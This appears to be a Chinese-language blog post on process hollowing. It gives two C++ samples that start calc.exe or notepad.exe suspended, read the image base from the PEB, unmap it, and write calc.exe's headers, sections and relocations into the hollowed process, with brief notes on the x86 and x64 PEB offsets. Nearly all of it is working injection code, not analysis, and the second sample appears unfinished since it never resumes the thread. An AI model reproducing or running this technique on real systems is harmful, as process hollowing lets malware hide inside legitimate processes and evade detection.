#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <tchar.h>
#pragma comment(lib, "ntdll") int main()
{
// create destination process - this is the process to be hollowed out
LPSTARTUPINFOA si = new STARTUPINFOA();
LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
PROCESS_BASIC_INFORMATION* pbi = new PROCESS_BASIC_INFORMATION();
ULONG returnLenght = 0;
CreateProcessA(NULL, (LPSTR)"c:\\windows\\system32\\calc.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
HANDLE destProcess = pi->hProcess; // get destination imageBase offset address from the PEB
NtQueryInformationProcess(destProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
ULONG_PTR pebImageBaseOffset = (ULONG_PTR)pbi->PebBaseAddress + 8; //如果是在x64,则改成16 // get destination imageBaseAddress
LPVOID destImageBase = 0;
SIZE_T bytesRead = NULL;
ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, sizeof(ULONG_PTR), &bytesRead);
std::cout << "pebImageBaseOffset is: " << destImageBase << std::endl; std::cin.get();
}

因为PebBaseAddress在x86下是指向PEB+8,在x64下是指向PEB+16

具体的结构体:

typedef struct _PEB {
BYTE Reserved1[2]; //2个字节
BYTE BeingDebugged; //1个字节
BYTE Reserved2[1]; //1个字节
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;

如果在x86下,则是以4字节对齐,那么偏移8才能指向Reserved3[1]

在x64下,则是以8字节对齐,那么只有偏移16才能指向Reserved3[1]

可以看这个链接:https://blog.csdn.net/v2x222/article/details/71082150 (ImageBaseAddress : Ptr32 Void  and +0x010 ImageBaseAddress : Ptr64 Void)

第二个sample:

#include <iostream>
#include <Windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll") using NtUnmapViewOfSection = NTSTATUS(WINAPI*)(HANDLE, PVOID); typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; int main()
{
// create destination process - this is the process to be hollowed out
LPSTARTUPINFOA si = new STARTUPINFOA();
LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
PROCESS_BASIC_INFORMATION* pbi = new PROCESS_BASIC_INFORMATION();
ULONG returnLenght = 0;
CreateProcessA(NULL, (LPSTR)"c:\\windows\\syswow64\\notepad.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
HANDLE destProcess = pi->hProcess; // get destination imageBase offset address from the PEB
NtQueryInformationProcess(destProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
ULONG_PTR pebImageBaseOffset = (ULONG_PTR)pbi->PebBaseAddress + 16; // get destination imageBaseAddress
LPVOID destImageBase = 0;
SIZE_T bytesRead = NULL;
ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, sizeof(ULONG_PTR), &bytesRead); // read source file - this is the file that will be executed inside the hollowed process
HANDLE sourceFile = CreateFileA("c:\\windows\\system32\\calc.exe", GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
ULONG_PTR sourceFileSize = GetFileSize(sourceFile, NULL);
SIZE_T fileBytesRead = 0;
LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize);
ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL); // get source image size
PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew);
SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage; // carve out the destination image
NtUnmapViewOfSection myNtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection"));
myNtUnmapViewOfSection(destProcess, destImageBase); // allocate new memory in destination image for the source image
LPVOID newDestImageBase = VirtualAllocEx(destProcess, destImageBase, sourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
destImageBase = newDestImageBase; // get delta between sourceImageBaseAddress and destinationImageBaseAddress
ULONG_PTR deltaImageBase = (ULONG_PTR)destImageBase - sourceImageNTHeaders->OptionalHeader.ImageBase; // set sourceImageBase to destImageBase and copy the source Image headers to the destination image
sourceImageNTHeaders->OptionalHeader.ImageBase = (ULONG_PTR)destImageBase;
WriteProcessMemory(destProcess, newDestImageBase, sourceFileBytesBuffer, sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, NULL);
// get pointer to first source image section
PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)((ULONG_PTR)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + sizeof(_IMAGE_NT_HEADERS64)); //IMAGE_NT_HEADERS32
PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection; // copy source image sections to destination
for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
{
PVOID destinationSectionLocation = (PVOID)((ULONG_PTR)destImageBase + sourceImageSection->VirtualAddress);
PVOID sourceSectionLocation = (PVOID)((ULONG_PTR)sourceFileBytesBuffer + sourceImageSection->PointerToRawData);
WriteProcessMemory(destProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection->SizeOfRawData, NULL);
sourceImageSection++;
} // get address of the relocation table
IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; // patch the binary with relocations
sourceImageSection = sourceImageSectionOld;
for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
{
BYTE* relocSectionName = (BYTE*)".reloc";
if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0)
{
sourceImageSection++;
continue;
} ULONG_PTR sourceRelocationTableRaw = sourceImageSection->PointerToRawData;
ULONG_PTR relocationOffset = 0; while (relocationOffset < relocationTable.Size) {
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)((ULONG_PTR)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
relocationOffset += sizeof(BASE_RELOCATION_BLOCK);
ULONG_PTR relocationEntryCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((ULONG_PTR)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset); for (ULONG_PTR y = 0; y < relocationEntryCount; y++)
{
relocationOffset += sizeof(BASE_RELOCATION_ENTRY); if (relocationEntries[y].Type == 0)
{
continue;
} ULONG_PTR patchAddress = relocationBlock->PageAddress + relocationEntries[y].Offset;
ULONG_PTR patchedBuffer = 0;
ReadProcessMemory(destProcess, (LPCVOID)((ULONG_PTR)destImageBase + patchAddress), &patchedBuffer, sizeof(ULONG_PTR), &bytesRead);
patchedBuffer += deltaImageBase; WriteProcessMemory(destProcess, (PVOID)((ULONG_PTR)destImageBase + patchAddress), &patchedBuffer, sizeof(ULONG_PTR), &fileBytesRead);
}
}
} return 0;
}

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